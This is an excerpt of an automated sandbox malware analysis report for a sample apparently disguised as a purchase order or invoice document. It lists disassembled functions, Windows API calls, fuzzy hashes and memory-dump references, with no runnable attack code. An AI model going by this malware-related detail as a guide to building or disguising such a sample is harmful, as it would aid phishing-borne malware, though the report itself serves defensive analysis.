                                                                                            • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                                            • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                                            • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                                            Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                                            • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                                            • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                                            • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                                            • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                                            • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                                            • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                                            • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                                            • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                                            • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                                            • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                                            • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                                            • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                                            • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                                            • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                                            • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                                            • GetCursorInfo.USER32 ref: 00458E03
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Cursor$Load$Info
                                                                                            • String ID:
                                                                                            • API String ID: 2577412497-0
                                                                                            • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                            • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                                            • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                                            • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                                            Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                                            • GetFocus.USER32 ref: 004696E0
                                                                                            • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                                            • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessagePost$CtrlFocus
                                                                                            • String ID: 0
                                                                                            • API String ID: 1534620443-4108050209
                                                                                            • Opcode ID: 833d13db40ec40dec0483232b6284f8533ca83f9805c84b893a2fb0fb577edd9
                                                                                            • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                                            • Opcode Fuzzy Hash: 833d13db40ec40dec0483232b6284f8533ca83f9805c84b893a2fb0fb577edd9
                                                                                            • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                                            Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00468107
                                                                                            • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                                            • GetMenuItemCount.USER32(?), ref: 00468227
                                                                                            • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                                            • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                                            • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                                            • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                                            • GetMenuItemCount.USER32 ref: 004682DC
                                                                                            • SetMenuItemInfoW.USER32 ref: 00468317
                                                                                            • GetCursorPos.USER32(00000000), ref: 00468322
                                                                                            • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                                            • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                                            • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 3993528054-4108050209
                                                                                            • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                            • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                                            • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                                            • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                                            Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                                              • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                                              • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                                              • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                                            • SendMessageW.USER32(?), ref: 0046F34C
                                                                                            • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                                            • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                                            • _wcscat.LIBCMT ref: 0046F3BC
                                                                                            • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                                            • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                                            • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                                            • DragFinish.SHELL32(?), ref: 0046F414
                                                                                            • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                            • API String ID: 4085615965-3440237614
                                                                                            • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                            • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                                            • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                                            • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                                            Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsicoll
                                                                                            • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                                                                                            • API String ID: 3832890014-4202584635
                                                                                            • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                            • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                                                                                            • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                                                                                            • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                                                                                            Function 00466999 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 312COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 004669C4
                                                                                            • _wcsncpy.LIBCMT ref: 00466A21
                                                                                            • _wcsncpy.LIBCMT ref: 00466A4D
                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                            • _wcstok.LIBCMT ref: 00466A90
                                                                                              • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                                                                                            • _wcstok.LIBCMT ref: 00466B3F
                                                                                            • _wcscpy.LIBCMT ref: 00466BC8
                                                                                            • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                                                                                            • _wcslen.LIBCMT ref: 00466D1D
                                                                                            • _memset.LIBCMT ref: 00466BEE
                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                            • _wcslen.LIBCMT ref: 00466D4B
                                                                                            • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                                                                                            • String ID: X$HH
                                                                                            • API String ID: 3021350936-1944015008
                                                                                            • Opcode ID: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                            • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                                                                                            • Opcode Fuzzy Hash: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                                                                                            • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                                                                                            Function 0045F48E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 226windowsleepCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 0045F4AE
                                                                                            • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                                                                                            • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                                                                                            • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: InfoItemMenu$Sleep_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 1504565804-4108050209
                                                                                            • Opcode ID: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                            • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                                                                                            • Opcode Fuzzy Hash: b2eb264578549714347dca4c6cc1c63db220fd8d89572d1a81e0d1d82c6caf25
                                                                                            • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                                                                                            Function 004556F8 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 216COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                                                                                            • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Window$CreateDestroy
                                                                                            • String ID: ,$tooltips_class32
                                                                                            • API String ID: 1109047481-3856767331
                                                                                            • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                            • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                                                                                            • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                                                                                            • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                                                                                            Function 0045CBCC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 202COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _wcsncpy.LIBCMT ref: 0045CCFA
                                                                                            • __wsplitpath.LIBCMT ref: 0045CD3C
                                                                                            • _wcscat.LIBCMT ref: 0045CD51
                                                                                            • _wcscat.LIBCMT ref: 0045CD63
                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                                                                              • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                                                                                            • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                                                                                            • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                                                                                            • _wcscpy.LIBCMT ref: 0045CE14
                                                                                            • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
                                                                                            • String ID: *.*
                                                                                            • API String ID: 1153243558-438819550
                                                                                            • Opcode ID: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                            • Instruction ID: 4b7f18f3392d5c51d0b0bcfc25b88d1348604f1c1aa494fd035d881d108a9fe9
                                                                                            • Opcode Fuzzy Hash: 5bfa431d4ef7075d2dc920e4199facb1e2714bc7465ef22df03346902ac9b5e5
                                                                                            • Instruction Fuzzy Hash: 0561E5B61043419FD731EF54C885AEBB7E4EB84305F44882FED8983242D67D998E879E
                                                                                            Function 0045510D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 115windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • _memset.LIBCMT ref: 00455127
                                                                                            • GetMenuItemInfoW.USER32 ref: 00455146
                                                                                            • DeleteMenu.USER32(?,?,00000000), ref: 004551B2
                                                                                            • DeleteMenu.USER32(?,?,00000000), ref: 004551C8
                                                                                            • GetMenuItemCount.USER32(?), ref: 004551D9
                                                                                            • SetMenu.USER32(?,00000000), ref: 004551E7
                                                                                            • DestroyMenu.USER32(?,?,00000000), ref: 004551F4
                                                                                            • DrawMenuBar.USER32 ref: 00455207
                                                                                            • DeleteObject.GDI32(?), ref: 0045564E
                                                                                            • DeleteObject.GDI32(?), ref: 0045565C
                                                                                            • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                            • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
                                                                                            • String ID: 0
                                                                                            • API String ID: 1663942905-4108050209
                                                                                            • Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                            • Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
                                                                                            • Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
                                                                                            • Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9
                                                                                            Function 00415C25 Relevance: 22.7, APIs: 15, Instructions: 236COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __get_daylight__invoke_watson$__gmtime64_s$__getptd_noexit
                                                                                            • String ID:
                                                                                            • API String ID: 1481289235-0
                                                                                            • Opcode ID: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                            • Instruction ID: 11750150b5911b8a2d77b888e51b7102539fbc40f42687a9f62e69b5342e6946
                                                                                            • Opcode Fuzzy Hash: 0c2ddcf2cfad548662a25bd64df7f8cdb197bd458fe0989c9b03f034f06c5664
                                                                                            • Instruction Fuzzy Hash: 8461B372B00B15DBD724AB69DC81AEB73E99F84324F14452FF011D7682EB78DA808B58
                                                                                            Function 0046FB53 Relevance: 22.7, APIs: 15, Instructions: 176windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 0046FB61
                                                                                            • ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 0046FB7A
                                                                                            • SendMessageW.USER32 ref: 0046FBAF
                                                                                            • SendMessageW.USER32 ref: 0046FBE2
                                                                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001), ref: 0046FC1B
                                                                                            • SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0046FC3E
                                                                                            • ImageList_Create.COMCTL32(00000020,00000020,00000021,?,00000001), ref: 0046FC51
                                                                                            • SendMessageW.USER32(?,00001003,00000000,00000000), ref: 0046FC73
                                                                                            • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FC97
                                                                                            • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?), ref: 0046FCA5
                                                                                            • SendMessageW.USER32 ref: 0046FD00
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$IconImageList_$CreateExtractReplace
                                                                                            • String ID:
                                                                                            • API String ID: 2632138820-0
                                                                                            • Opcode ID: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                            • Instruction ID: f8b2170a3f6480226351c2682443129a31dd3945ebd2779c8b18a40e734619f9
                                                                                            • Opcode Fuzzy Hash: 84d296b218fe0245d687438722339ecf4745b7249032fe4bb2113eafbff2dc59
                                                                                            • Instruction Fuzzy Hash: A461BF70208305AFD320DF14DC85F5BB7E4FB89B14F10492EFA85972D1E7B4A8498B66
                                                                                            Function 00433BAC Relevance: 22.6, APIs: 15, Instructions: 79COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • LoadCursorW.USER32(00000000,00007F89), ref: 00433BC7
                                                                                            • LoadCursorW.USER32(00000000,00007F8A), ref: 00433BDE
                                                                                            • LoadCursorW.USER32(00000000,00007F03), ref: 00433BF5
                                                                                            • LoadCursorW.USER32(00000000,00007F8B), ref: 00433C0C
                                                                                            • LoadCursorW.USER32(00000000,00007F01), ref: 00433C23
                                                                                            • LoadCursorW.USER32(00000000,00007F88), ref: 00433C3A
